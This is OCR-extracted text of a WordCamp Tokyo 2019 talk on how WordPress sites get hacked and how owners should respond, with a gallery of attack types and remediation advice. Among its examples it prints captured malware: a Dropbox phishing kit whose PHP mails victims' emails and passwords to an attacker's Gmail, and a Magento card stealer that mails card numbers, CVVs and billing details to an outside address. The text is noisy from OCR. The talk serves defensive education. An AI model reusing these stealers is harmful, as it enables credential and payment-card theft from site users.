I’VE BEEN HACKED!
SO, NOW WHAT!!

By Néstor Angulo de Ugarte
WordCamp Tokyo 2019 #WCTOKYO
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Computer Science Engineer &
Technology consultant

Photographer & Early
Adopter

Truly curious guy

2015: SUCURI
Incident Response & Easy SSL

2019: GoDaddy Spain
Head of IT @ GoDaddy Spain



* Sucuri: Anaconda
(No Securi / Security)

* Website security

* Fully remote (people from > 25 countries
around the world)

* 2008: Foundation

* 2017: Got part of the
GoDaddy family

GoDaddy

* Free interesting scanners:

* Sitecheck

* Performance
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(sitecheck.sucuri.net)

(performance.sucuri.net)
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. Concepts / Disclaimer

2. Aaaargh!!
NOOOOOOOOO!
AKA Horror gallery

2. So, now, what???
AKA reactive measures

4. Never ever again!!
AKA proactive measures
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CONCEPTS & DISCLAIMER

Some things to be aware first



Any sensitive information has been protected/encrypted to preserve privacy.

Any similiarity with real persons or real situations is a coincidence.

I’'m responsible of what | say, not what you interpret.

Always ask to an expert.

DISCLAIMER
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There are two types of

companies: those'who
have been hacked, and
those who don’t yet know
they have been hacked.

John Chambers
Chief Executive Officer of Cisco



John Chambers
Chief Executive Officer of Cisco
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Hacker: Cyberterrorist /| Cracker:

* Curious person who loves to go Computer Hacker, whom
beyond limits or convetionalisms. intentions are always aligned to enrich

himself in a zero-sum game situation.

The bad guy / the bad hacker

HACKER VS CYBERTERRORIST
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THE BAD HACKER: THE GOOD HACKER:
CYBERCRIMINAL CRIME SCENE INVESTIGATOR
(CSl) / POLICE

BAD HACKER VS SECURITY ANALYST
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WEB SECURITY

Cybersecurity:
Security in the digital world

Web Security:
Field of Cybersecurity

Covers what happens through
port 80 / 443
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Cyber Security
Network Foundations ._A_" Security Foundations ﬁ
== ——
a— ===
Network Defense ' System Administration ﬁ
0101010100100
Logging and Monitoring 1010010101010 Cryptography and

Web Application Security ﬁ

Threats and Vulnerabilities

B)

Access Management

Programming Foundations < / >

Project Management
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Site hacking
almost never

is client-oriented
(98% of cases)

A SSL certificate
IS not

an antihacking shield

Almost always
happens due to a

deficient monitoring
/| maintenance

Patches & security
updates

appear almost always

after hacking exploits

Néstor Angulo (@pharar)

Security never is
(nor will be)

100% effective

Errare Humanum
Est

(Human being fails)
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USERS INFO DATABASE WEBSITE CONTENT INFRAESTRUCTURE BOT NET REPUTATION

WORDPRESS TYPICAL OBJECTIVES
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HOW TO HACK A WORDPRESS
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EXPIOit. / Injection
vulnerability
Final code Backdoor
|
Spam / BotNode

defacement

Néstor Angulo (@pharar)

Final code
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AAAARGH

NOOOOO!

A

AK

The Horror Gallery



DEFACEMENTS



21

Néstor Angulo (@pharar)

H#WCTokyo 19



Galleries - ALL

St. Louis Weddings -
Photography Engagements Portraits

Newborns & Headshots &
Maternity Seniors Executive Portraits




- ALL

@!M@MHZ

di' &
Execr:* f traits
-

&

*
Security Attack Il

Contact

#WCTokyo 19 Néstor Angulo (@pharar)




Dog
Dry Dog Food

Wet Dog Food

Dog Treats & Dog Bones

Dog Supplements & Special Food
Dog Kennels, Dog Flaps & Gates
Dog Crates & Dog Travel

All

Cat

Dry Cat Food

Wet Cat Food

Cat Litter

Cat Litter Boxes & Litter Trays
Cat Trees & Cat Scratching Posts
Cat Baskets & Beds

All

#WCTokyo 19
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SPECIALIST DIETS &
' SUPPLEMENTS

Healthy from whisker to tail

Top recommendations:




Hacked by El Moujahidin

Svria

#Free Palestine

Palestine
, To Send The Message Of Our Palestine And All Arabs
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Partial / full replacement of website
frontend.

Very obvious

DEFACEMENTS

Users (hear them!)

Easy detection:
Scanners

Obijective:
Awareness / social or political revindication
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PHISHING
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PHISHING

Login / checkout environment imitation

Scanners

Detection: ,
Blacklists

Objective:
Steal credentials / sensitive information
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dropbox.zip > index.php

Try Dropbox Business

Dropbox About us
stat ropbox Blog Help
fob Abot
P 14 Branding
News

Support

&8 Dropbox

Download the app

Sign in
lIIIIIIIIIIiiiiiiiiiﬂi!'llllllllll

john@example.com|

Password

Community English (United States)

center Referrals

rder-r

order

<input Eype=;password" name="pass" pl;céhoider;"Password" requ{red
style="position:;absolute;left:45px;top:150px;width:359;height:34px;padding:10px;border-radius:6ép

NG R A? £ ype="subm{¥estos fagHlo.

C 3 FS =4 T ES

U&fﬁlbutton button-primary" style="position:absolute;top:220px;left:40

<div class="sign-in-text">Sign in</div>

</button>

1'!'fder
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dropbox.zip > index.php

include "antiboots.php";

<head>

<! --- Links ---- !>

<link rel="stylesheet" href="./css/stylel.css" type="text/css" />
<title>DropBox Buisness</title>

<! ==-- Links --- !>

</head>

<body>

<! --- Header ---- !>

<header class="ilyas header">

<div class="logo">
<img src="./img/logo.png" style="position:absolute;left:180px;width:36px;height:34px;top:17px;">
<img src="./img/next.png" style="position:absolute;left:220px;top:17px;">
</div>
<div id="header-border-div"></div>
<div class="help">
<img src="./img/help.png" style="position:absolute;left:1065px;top:23px;">
</div>
</header>
<! --- Header ---- !>
<div id="text h2">
<img src="./img/confirm text.PNG" style="position:absolute;left:385px;top:118px;">
<img src="./img/left.png" style="position:absolute;top:190px;left:30px;width:500px;height:285px;border-r
</div>
<! --- Form Login --- !>
<div id="form" style="left:680px;height:200px;">
<form action="action.php" method="post">
<h2 style="position:absolute;right:20%;top:5px;">Sign in With Your Existing Email</h2>
<div id="header-border-div2"></div>
<input type="email" name="email" placeholder="Email" required
style="position:absolute;left:45px;top:90px;width:359;height:34px;padding:10px;border-radius: 6px;border
<input type="password" name="pass" placeholder="Password" required
le="position:absolute;left:45px;top:150px;width:359;height:34px;padding:10px;border-radius:6p der
{@%ﬁ’ﬁ-button button-primary" style="position:absolute;top:220px;left:40°‘
<div class="sign-in-text">Sign in</div>
</button>



i dropbox.zip > index.php

~ P L - -

y “7lss/stylel.css" type="text/css" />
<title>DropBox Buisness</title>

</head>
<body>
<! --- Header ---- !>
<header class="ilyas header">
<div class="logo">
<img src="./img/logo.png" style="position:absolute;left:180px;width:36px;height:34px;
<img src="./img/next.png" style="position:absolute;left:220px;top:17px;">
</div>
<div id="header-border-div"></div>
<div class="help">
<img src="./img/help.png" style="position:absolute;left:1065px;top:23px;">
</div>
</header>
<! --- Header ---- !>
<div id="text h2">
<img src="./img/confirm text.PNG" style="position:absolute;left:385px;top:118px;">
<img src="./img/left.png" style="position:absolute;top:190px;left:30px;width:500px;heigh
</div>
£} ==— Porm Login ==— 1>

il 9 b OI Vie= S UD X Qe ">

<form action="action.php" me
Doyl ST ST ST T T s Smmpr D : Spx; 1PSign in With Your Existing Email</h2>

input type="email" name="email" pl| ceholder="Email" required

style="position:absolute;left:| bpx;top:90px;width:359;height:34px;padding:10px;border-r
laceholder="Password" required der
ox;top:150px;width:359;height:34px;padding:10px;border-r
=putton button-primary" style="position:absolute;top:220px

. 4

i

der

39 B <div class="sign-in-text">Sign in</div>
40 </button>
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<?php

session_start();

$to —="tobi.michael@4@gmail.com";

$xsam — getenv("REMOTE_ADDR");

$xadoo = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip=$xsam");
$COUNTRY - $xadoo->geoplugin_countryName ;

$ip = getenv("REMOTE_ADDR");

$Email $ POST["email"];

$Pass $_POST["pass"];

$browser $_SERVER['HTTP_USER_AGENT'];

$Message "<b><font color='#3b3f40' size="4.5px'> { <font color="'#f654¢
LOGIN</font> } 2lh>ebr>":

$Message "<b>Dropbox Email : </b><font color="#0097ff'>".$Email."</font><br>";

$Message "<b>Dropbox Pass : </b><font color="#0097ff'>".$Pass."</font><br>";

$Message "<b> { <font color='#f6546a'><b>LOGIN INF0S</b></font>}

$Message "<b>IP Address : </b><a href='http://www.whoer.net/?IP=".$ip.""'><font
color="#c5405b'>".%$ip."</font></a><br>";
$Message "<b>User Agent : </b><font color='#c5405b'>".$browser."</font><br>";
$Message "<b> { <font color='#f6546a'><b>DROPB0OX</b></font>
} </b></font><br>";

$Subject = " [DROPBOX] ~ Login ~ From ~ [$ip] Country [$COUNTRY]";

$Headers — "From: DROPBOX 2016 <Vip@163.goooo>\r\n";
$Headers "MIME-Version: 1.0\r\n";
$Headers "Content-Type: text/html; charset=IS50-8859-1\r\n";

mail($to,$Subject, $Message, $Headers) ;

</button>
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"tobi.michael@4@gmail.com";
PASAll YT LCllv \ NLNVIL AUV l ’
$xadoo = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip=$xsam");
$COUNTRY - $xadoo->geoplugin_countryName ;
¢in rnotanu("DEMNTE ANDNDD!! ) «
$Email $ POST["email"];
$Pass $ POST["pass"];
sbrowser $_SERVER['HTTP_USER_AGENT'];

$Message "<b><font color='#3b3f40' size="4.5px'>

$Message
$Message

W T e gy~ = T W R - - o § T8 s 1w e ¢ T T B Nf @ W kel WH

$Message "<b>IP Address : </b><a href='http://www.whoer.net/?IP=".$ip.""'><font
color="#c5405b'>".%$ip."</font></a><br>";
$Message "<b>User Agent : </b><font color='#c5405b'>".$browser."</font><br>";
$Message "<b> { <font color='#f6546a'><b>DROPB0OX</b></font>
} </b></font><br>";

$Subject = " [DROPBOX] ~ Login ~ From ~ [$ip] Country [$COUNTRY]";

$Headers "From: DROPBOX 2016 <Vip@163.goooo>\r\n";
$Headers "MIME-Version: 1.0\r\n";
$Headers "Content-Type: text/html; charset=IS0-8859-1\r\n";

| mail($to,$Subject, $Message, $Headers) ;
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BLACK SEO / SPAM



DESIGNS
FREE SHIPPING !!!
. BUY VIAGRA
NOW
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rams
The site ahead contains harmful prog
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P 'V Web Designinspirat... %

Google
¢ I

www.example.com/ ~
This site may be hacked.

Example Domain. This domain is established to be used for illustrative examples in

' documents. You may use this domain in examples without prior coordination or asking

! for permission. More iInformation.
l

\
\

Neéstor Angulo “k““d_c-u;u“
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Google

site anothernnfectedsite dom cheap

All mages Shopping Videos Maps
——

About 91.300 result

Cheap Nike Shox Boys 6.5 23 Air Jordan Comforters ...
anotherinfectedsite. dom/page/lvUxxxp1D

cheap nike shox boys 6.5 Shop our premium selection of boys nike shox turbo online
now for great prices Boys' toddler nike air max 90 premium running shoes

Air Yeezy Shoes Cheap Real Air Yeezy Shoes - Natural ...
anotherinfectedsite. dom/page/IpNxxoox58vuK v

Results great but cheap air yeezy shoe cheap shoes men’s casual shoes women's
casual shoes men's flats as well as cheap and more online get Size 6 nike air

Cheap Jordan Sneakers Wholesale Cheap Jordan Website ...
anotherinfectedsite dom/page/iviCxooxiQVH v

Cheap jordan sneakers wholesale we cheap jordan sneakers wholesale are a cheap
jordan website large wholesaler cheap wholesale nike dunks and retailer

Cheap Jordan Flight 45 - Natural Medicine Journal
anotherinfectedsite dom/page/IRxxxxxyvns v

Cheap jordan flight shop jordan flight shoes at foot locker All of the popular jordan flight
high max release date jordan flight shoe models like cheap jordan flight

Paypal Cheap Air Jordans 13 Cheap Custom Air Jordans ...
anotherinfectedsite. dom/page/IvioxXxxRNH v

Cheap authentic retro jordans with paypal Cheap buy wholesale air jordan retro xiii he
got game. Need new jordans for valentines 2014 new laces Og 2014 nike

#WCTokyo 19 Néstor Angulo (@pharar)

Remote site: /home/ 'html

i Filename

il wp-includes-srcbak
il wp-admin-srcbak
il wp-content
yyociwe
cO1fce

docs
zzkwjuce
i wp-includes
g wp-admin
/g .sucuriguarantine
'+ DISABLED
Iy info.php
F 4 .user.ini
Ly .htaccess
i gd-config.php
Ly robots.txt
Ly license.txt
'
Ly 69089f65dd9.php.suspected
Ly 11380aa99fe.php.suspected
'+ history-template.php.suspected
Ly wp-config.php
'+ 7513¢c638c52.php.suspected
\C index.php

L wmm_hlAarn_haadar nhn




Spam/unwanted content in

your site
Scanners (Easy)
BLACK HAT SEO Detection: Users (hear them!)
/| SPAM Search Engine warnings
Obijective:
Affect your SEO

#WCTokyo 19 Néstor Angulo (@pharar) @




H#WCTokyo 19

REDIRECTIONS

Néstor Angulo (@pharar)
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Open unwanted affiliate links to
suspicious websites

Scanners (NOT Easy)

REDIRECTIONS Q Detection: Users (hear them!)

Search Engine warnings

Obijective:
(@)}V) Affect your SEO or the affiliate

ones

#WCTokyo 19 Néstor Angulo (@pharar) @




Search for: hellofromhony

Clean the regex: ~<div id="coolhacker”>[*<>]*?</div>~
(You can also use the following pre-defined templates: spam link, script_src, spam link text, http equiv_refresh)
| /Clean the malware (save the changes)

Search

WARN: Please review: wp options.option value, option name = siteurl. Details: custom.db.search. Content: hellofromhony
WARN: Please review: wp options.option value, option _name = home. Details: custom.db.search. Content: hellofromhony

B e R e S e B

WARN: Please review: wp options.option value, option name = transient 5 2874328703. Details: custom.db.search. Content: hellofromhony
WARN: Please review: wp_options.option value, option name = transient 5 3014835371. Details: custom.db.search. Content: hellofromhony
WARN: Please review: wp_options.option value, option name = transient 5 10630818. Details: custom.db.search. Content: hellofromhony

B i A

WARN: Please review: wp wfConfig.val, name = wp_home url. Details: custom.db.search. Content: hellofromhony

e ———— e e Y e

WARN: Please review: wp wfConfig.val, name = wp site _url. Details: custom.db.search. Content: hellofromhony

INFO: Scanning complete

#WCTokyo 19 Néstor Angulo (@pharar) e



Google

Google Membership
Rewards

G Congratulations !

Every Tueday we select 10 lucky Apple u
our sponsors. This free gift is exclusively
continuous support for our product and si

You have been selected to win a gift from~

The page at promotion.com-rewards.club says:

Congratulations iPad user!

You are selected by Google to be among the first few
persons to win an iPhone 6s or other Google prizes! This
free gift is exclusively only for loyal Apple users in Canada.

Please confirm that you are the owner of this iPad phone
by clicking OK.

OK

X

Google Gift!

p 1) rom T ———

i is just our way to thank you for your

'WOTTtNn up To %749 1T you answer tne next 4 questions correctly.
ACT NOW! 9 other Apple users have received this invitation with only 5 prizes to win.

You have 1 minutes 30 seconds to answer the questions before someone else takes over your spot. Good luck!

Question 1 of 4: Who founded Google?

Bill Gates

Mark Zuckerberg

Larry Page

#WCTokyo 19 Néstor Angulo (@pharar)



o @ https://newsfile.club/?p=n zjtm bpgu2

pes @ newsfile.club wants to

Show notifications

Allow

% Y

#WCTokyo 19 Néstor Angulo (@pharar) e



& https://havenotifyfriends.info/r/bot/1088?count=5&declCount=3&fullScreenMode=enabled&utm_source=denny8

sxm A * 1 i X
i Aes @ havenotifyfriends.info wants to

Show notifications

Block

Haga clic en "Permitir”

para confirmar que no eres un robot.

#WCTokyo 19 Néstor Angulo (@pharar) e



CC / LOGIN STEALERS



$send = array
(

'PaymentMethod’
'Billing Name'

'Billing

Email'

'Billing Addresl'
'Billing Address2’'
'BillingCity'

'Billing
'Billing
'Billing
'Billing
'Account
'Billing
'Account
'Account

State'
PosCode'
Country'
Phone'
password'
taxvat'
Gender'
DOB'

=>
=>
=>
=>
=>
=>
=>
=>
=>
=>
=>
=>
=>
=>

$data['method'],
$this—->getQuote()->getBillingAddress()->getFirstname() . " " .
$this—>getQuote()->getBillingAddress()->getEmail(),
$this->getQuote()->getBillingAddress()->getStreet(1),
$this->getQuote()->getBillingAddress()->getStreet(2),
$this—>getQuote()->getBillingAddress()->getCity(),
$this->getQuote()->getBillingAddress()->getRegion(),
$this->getQuote()->getBillingAddress()->getPostcode(),
$this->getQuote()->getBillingAddress()->getCountry(),
$this—>getQuote()->getBillingAddress()->getTelephone(),
$this—>getQuote()->getBillingAddress()->getCustomerPassword() or "Null",
$this—>getQuote()->getBillingAddress()->getTaxvat() or "Null",
$this—>getQuote()->getBillingAddress()->getGender() or "Null",
$this->getQuote()->getBillingAddress()->getDob() or "Null",

$this—>getQuot

'CcOwner'’ => $datal'cc_owner'],
'CcType' => $datal'cc_type'l,

'CcNumber’ => $datal'cc_number'],

'CcStart’ => trim(sprintf('%02d%02d', $datal'cc_ss_start_month'], substr($datal'cc_ss_sta

'CcExpayed' => trim(sprintf('%02d%02d', $datal'cc_exp_month'], substr($datal'cc_exp_year'l],

'CcSec’ => $datal'cc_cid'l],

'CustomIP’ => trim(getenv('REMOTE_ADDR')),

'WebStore' => trim($_SERVER['SERVER_NAME']));

foreach ($send as $param=>$value) {

$send .= $param . '=' . $value . "\r\n";}

$datasend .= substr($send, 5, -1);

mail('the.man.behi@gmail.com', 'PaymentReport',$datasend);

// shipping totals may be affected by payment method

if (!$quote->isVirtual() && $quote->getShippingAddress()) {
$quote->getShippingAddress()->setCollectShippingRates(true);

}

#WCTokyo 19 Néstor Angulo (@pharar)




a Sensitive information leak

CC/LOGIN ‘ Dletiaeiia: File integrity

scanner

STEALER

Must report to

In EUROPE:  Police
GDPR Compliance

#WCTokyo 19 Néstor Angulo (@pharar) e




DDOS ATTACKS / BOT NETS



S NORSE

ATTACK ORIGINS ©

Country

China
Canada
Italy
Mexico

0

==
=
T
w

United States

Russia

ATTACKS ©

ATTACK TARGETS §

# 0 Country

9 United States
2 France

1 Canada

1 Bulgaria

1 Italy

ATTACK TYPES @

Timestamp
2014-08-26 01:14:30.45
2014-08-26 01:14:31.80
2014-08-26 01;14;33.80

2014-08-26 01:14:34.47
2014-08-26 01:14:34.80

Organization
Shanghai QianWan

N/A
CariNet

Nether Network
Highload Lah

Location
Shanghai, China

unknown, Italy
San Diego, United States

Englewood, United States
Moscow, Russia

#WCTokyo 19

P
219.235.2.112

93.186.241.139
71.6.167.142

204.42.253.130
93.180.5.26

Néstor Angulo (@pharar)

Location
unknown, Bulgaria

unknown, Italy
Miami, United States

unknown, france

Saint Louis, United States

AN

Type
Service
ms-sql-s
unknown

EtherNet/IP-2

snmp
domain

Service

discard

ssh

unknown

netbios-dgm

db-Isp-disc
® ms-sql-s
@ isakmp
® unknown

- e o d o - N SR

in ¥» f &




& NORSE —=

> ATTACK TARGETS

> ATTACK OGNS > oy
In» , el

L - ¢ . -k Nl

> ATTACK TYPES
0 O ama ron

a ) '
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Affecting to your infraestructure

Usually difficult

Detection: Strange use of resources

BOTN ETS, File Integrity Scanner
CRYPTOMINERS,

DDOS WAF recommended

Your server’s resources or user’s
Objective: ©ones.
To make your site a zombie node

Néstor Angulo (@pharar) 9




|I. Concepts / Disclaimer

2. Aaaargh!!
NOOOOOOOOO!
AKA horror gallery

. So, now, what???
AKA reactive measures

4. Never ever again!!
AKA proactive measures
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SO, NOW
WHAT!?

A.KA.

| = e
reactive measures | == ,




HIERARCHY AND AGENTS

Hosting Security
Provider Expert
* Owner /Admins * Agent/ C3 * Security
 Developer & * Support & department
Designer Backups * External
e Users/clients services

#WCTokyo 19 Néstor Angulo (@pharar) Q



ACTIONS YOU CAN DO
YOURSELVES



* Let’s try to figure out what
happened

* Free scanners:

* sitecheck.sucuri.net

* Blacklisting

* virustotal.com (blacklist)

#WCTokyo 19 Néstor Angulo (@pharar)




Warning: Malware Detected

Infected with malware. Immediate action is required Request Cleanup

5 8 Pages scanned: 37 System running on: LiteSpeed, Powered by: PHP/5.4.45
Javascript files scanned: 21 IP address:
URLs Scanned Other files: 0 More Details
Low Medium Critical Security Risk

Malware Found Definition

http://www. ' - wp-includes/js/jquery/jquery.js? rogueads.unwanted_ads?9.5
ver=1.12.4 (More details)

Malware Found Definition

http://www.| = ' - 'wp-includes/js/jquery/jquery- rogueads.unwanted_ads?9.5

miarata min ichrar=1 A 1 (NMnara dataile)
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CRC: CHECK, REMOVE AND CHANGE

Check and Remove Change Passwords

* Unneeded admin users * Connections (cPanel, FTP,SSH, ...)
* Plugins and themes which are e Database (remember to update
strictly not in use your wp-config.php)
* Outdated backups * Dashboard (wp-admin)
* DEV/TEST sites in your production * Hosting provider
server
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=+ New SEO : 8  Howdy,

Screen Options ¥

Users AddNew

| Welcome to the newest version of WP Smush! Auto-smushing on upload is lightning fast now that we handle all the smushing asynchronously. Find out more here >>

All (5) | Administrator (3) | Contributor (2) Sea
Bulk Actions _'J Apply Change role to... _'J Change
Username Name Email Role Posts
admin - P Administrator 78
n akmin no@email.com Administrator 1
. janel — w Contributor 0
levy m “ Contributor 33
managed-wp-migration- Managed WordPress Migration User noreply@secureserver.net Administrator 0
465790ae
wp.service.controllernlHmp6 None 0
Username Name Email Role Posts

BulkActionsj Apply Changeroleto...j Change
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RESTORE A BACKUP

* Last option

* You can loose IN CASE OF HACK
information

* We not always know
when the infection
begun

BREAK GLASS
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RESTORE A BACKUP

Do you THINK you
have backups?
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|I. Concepts / Disclaimer

2. Aaaargh!!
NOOOOOOOOO!
AKA horror gallery

3. So, now, what???
AKA reactive measures

4. Never ever again!!
AKA proactive measures
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NEVER
EVER
AGAIN!!

A.K.A.

proactive measures




SECURITY IN LAYERS

You ( the weakest layer )

Your device ( Antivirus )

Your connection ( SSL)

Your website ( WAF )

Your credentials ( Strong Passwords / 2FA )
Your site security ( monitor / updates )

Your server security ( monitor / updates )

Your database ( monitor )

Maintenance tasks
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MINIMUM
PRIVILEGE
PRINCIPLE

“To Caesar, what is
Caesar’s’.

Admin stuff with
admin account.The
rest, with a limited

account

All user’s
passwords
MUST be
unique and

strong

(better with 2FA
when possible)

The more
admins,
the more
risk

Applied to all
layers

(wp-admin, [S]FTP,
cPanel, dashboard,
db, ...)
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BACKUPS

* Have a backups strategy

NEVER store the backups in your
production server

backup will be your best friend a

bad day
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BACKUPS

* Have a backups strategy

NEVER store the backups in your
production server

A clean and FUNCT'ONAL - You need backup

backup will be your best friend a
bad day
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UPDATES

* PLUGINS

e UPDATE

- CORE
- PHP
- APACHE / NGINX

D ALWAYS!

» CPANEL / PLESK
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REMEMBER TO INVEST IN

© O

HOSTING SECURITY
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HOSTING

FIRST LAYER OF BALANCE BETWEEN THEY ARE IN CHARGE OF THE
, SERVER’S SERVICES, DATABASE
YOUR SITE'S DEFENSE PRICE AND FEATURES ANstM AY;T:N ANCE >
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Filters all your web traffic
.1T_. Protects against XSS, DDoS, ...

Patchs virtually well known software vulnerabilities

WAF

YOUR GUARD ol If it includes CDN, your site will improve its speed and
DOG performance

IR Forensic analisys tool

® Allows manual blocking
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All
HTTP / HTTPS Traffic

H#WCTokyo 19

Sucuri Network

Application Signatures
Profiling and Heuristics

HTTP / HTTPS Traffic

Néstor Angulo (@pharar)

Correlation
Engine

Original Host

Good
HTTP / HTTPS Traffic
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Eve rYbOdy needs a hacker






